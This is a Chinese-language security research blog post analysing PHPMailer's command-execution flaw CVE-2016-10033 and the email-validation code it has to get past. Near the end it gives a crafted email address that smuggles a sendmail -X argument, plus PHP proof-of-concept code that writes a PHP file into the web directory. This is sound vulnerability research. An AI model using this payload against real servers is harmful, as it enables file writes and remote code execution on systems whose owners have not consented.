# PHPMailer 命令执行漏洞(CVE-2016-10033)分析 PHPMailer是一个基于PHP语言的邮件发送组件,被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。 CVE-2016-10033是PHPMailer中存在的高危安全漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。 对比一下新老版本: https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master <center>![img](media/14827394516349/14827395246777.jpg)</center> 其实答案呼之欲出了——和Roundcube的RCE类似,mail函数的第五个参数,传命令参数的地方没有进行转义。 > 回顾一下当时Roundcube的漏洞:因为mail函数最终是调用的系统的sendmail进行邮件发送,而sendmail支持-X参数,通过这个参数可以将日志写入指定文件。可以写文件,当然就可以写shell,造成RCE了。 详细分析一下,下载一份源码,并切换到5.2.17版本: ``` git clone https://github.com/PHPMailer/PHPMailer cd PHPMailer git checkout -b CVE-2016-10033 v5.2.17 ``` 单步调试可以发现确实和之前Roundcube出现的漏洞( http://wiki.ioin.in/search?word=roundcube )一样,是传给mail函数的第五个参数没有正确过滤: <center>![img](media/14827394516349/14827421313172.jpg)</center> 但上图是错的,因为这里是不支持bash的一些语法的,也就是说反引号、`${IFS}`都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测,这导致我们无法构造出像Roundcube那些可以直接写文件的payload,检测部分的代码如下: ```php /** * Check that a string looks like an email address. * @param string $address The email address to check * @param string|callable $patternselect A selector for the validation pattern to use : * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * @return boolean * @static * @access public */ public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { return false; } if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } } ``` 其他的地方我就不分析了,只分析上面这个函数,这个函数有这个特点 1. 默认patternselect==‘auto’,它会自动选择一个方式对email进行检测 2. 如果php支持正则PCRE(也就是包含`preg_replace`函数),就用正则的方式来检查,就是那一大串很难读懂的正则 3. 如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自带的filter来检查email 4. 如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接检查email中是否包含@ 所以,根据现在的分析(注意,不是最终分析),如果想绕过这个email的检查,目标PHP环境必须有以下两个条件: 1. PHP版本小于5.2.0 2. PHP不支持正则表达式,即没有安装PCRE扩展(默认是安装的) 那么如果目标PHP环境不满足上述条件,是不是就绝对不会出现漏洞了呢?当然答案也是否定的,我提两种可能的情况。 #### 一、开发者手工指定Email检查方法 PHPMailer是支持让开发者手工指定Email的检测方法的: <center>![img](media/14827394516349/14828224644587.jpg)</center> 如果开发者编写了上述画框的代码,那么这里就是存在漏洞的,因为其只检查Email中是否包含@。 #### 二、开发者指定`PHPMailer::$validator = 'noregex'` 我们看到validateAddress函数: ```php public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } ``` `$patternselect`默认是根据`self::$validator`来确定的,如果开发者指定了`PHPMailer::$validator = 'noregex'`,也就可以绕过validateAddress函数了。 ## 分析一下Email正则 那么,这真的是一个鸡肋漏洞么?年轻人,多思考一下。 如果想把漏洞变成一个可用的好漏洞,需要去绕过Email的正则,我们来分析一下: ```php preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); ``` 中间的分析过程我后面慢慢写,多研究一下你会发现,在@前面,如果加上括号,将可以引入空格,我的payload如下: ``` aaa( -X/home/www/success.php )@qq.com ``` 测试代码: ```php <?php require 'PHPMailer/PHPMailerAutoload.php'; function send($from) { $mail = new PHPMailer; $mail->setFrom($from); $mail->addAddress('joe@example.net', 'Joe User'); // Add a recipient $mail->isHTML(true); // Set email format to HTML $mail->Subject = '<?php phpinfo(); ?>'; $mail->Body = 'This is the HTML message body <b>in bold!</b>'; $mail->AltBody = 'This is the body in plain text for non-HTML mail clients'; if(!$mail->send()) { echo 'Message could not be sent.'; echo 'Mailer Error: ' . $mail->ErrorInfo; } else { echo 'Message has been sent' . "\n"; } unset($mail); } $address = "aaa( -X/home/www/test.php )@qq.com"; send($address); ``` 执行: <center>![img](media/14827394516349/14828319834190.jpg)</center> 成功写入success.php。 利用这个payload,是无需PHP满足什么条件的,通用写文件Payload。 参考链接: 1. https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 2. http://pwnscriptum.com/ 3. https://www.exploit-db.com/exploits/40968/ 4. https://github.com/opsxcq/exploit-CVE-2016-10033 ** 博客内容均为长亭科技安全研究人员编写,转载请在文章开始注明出处。 **